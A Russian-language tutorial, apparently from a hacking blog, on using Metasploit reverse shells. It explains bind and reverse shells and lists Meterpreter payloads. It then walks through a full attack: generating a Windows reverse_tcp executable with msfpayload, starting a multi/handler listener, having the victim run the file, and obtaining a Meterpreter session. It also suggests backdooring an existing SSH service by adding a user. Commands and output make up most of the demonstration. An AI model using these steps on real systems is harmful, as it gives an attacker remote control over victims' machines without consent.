Как использовать reverse shell в Metasploit

Как использовать reverse shell в Metasploit

LIfe hack [ Жизнь-Взлом]/Хакинг

Как использовать reverse shell в Metasploit

Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.


В этой статье рассмотрим использование reverse shell для получения сеанса.


Список обратных оболочек Metasploit

Чтобы получить список обратных оболочек, используйте команду msfpayload.


./msfpayload -l |grep reverse

Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.


Reverse shell в Windows

В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.


Linux reverse shell

В Linux вы можете попробовать использовать linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.


Когда может потребоваться использовать reverse shell

Несколько возможных ниже приведенных сценариев предполагают использование указанного метода


Целевая машина находится в другой частной сети.

Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью bind shell.

Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.

Или же Вы просто не можете решить, что выбрать.

Когда reverse shell не нужен

Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.


Как настроить reverse shell при генерации полезной нагрузки

Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:


LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.

LPORT – порт, к которому вы хотите подключить целевую машину.

Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):


LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.

LPORT – это порт, к которому вы хотите привязать ваш слушатель.

Перед выполнением reverse shell следует убедиться, что слушатель запущен.


Демонстрация

В этой демонстрации у нас есть две машины:


Box A:


Ящик атакующего, который получает сессию полезной нагрузки.

IP это: 192.168.1.123 (ifconfig).

В той же сети, что и машина жертвы.


Box B:


Машина “жертвы”

Windows 7

IP-адрес: 192.168.1.80 (ipconfig)

В той же сети, что и машина злоумышленника

В целях тестирования антивирус не включен.

В целях тестирования также не включен брандмауэр.


Шаг 1: Создаем исполняемую полезную нагрузку

На компьютере атакующего запустим msfpayload или msfvenom:


$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 287

Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

Шаг 2: Скопируем исполняемую полезную нагрузку в Box B

Box B – это машина жертвы.


Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A

Box A – это атакующая машина.

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...


Шаг 4: Дважды кликнем по вредоносному исполняемому файлу

Этот шаг не требует дополнительных объяснений.

 


Шаг 5: Просмотр сеанса meterpreter/payload на Box A

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

 

Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом

Источник

Report Page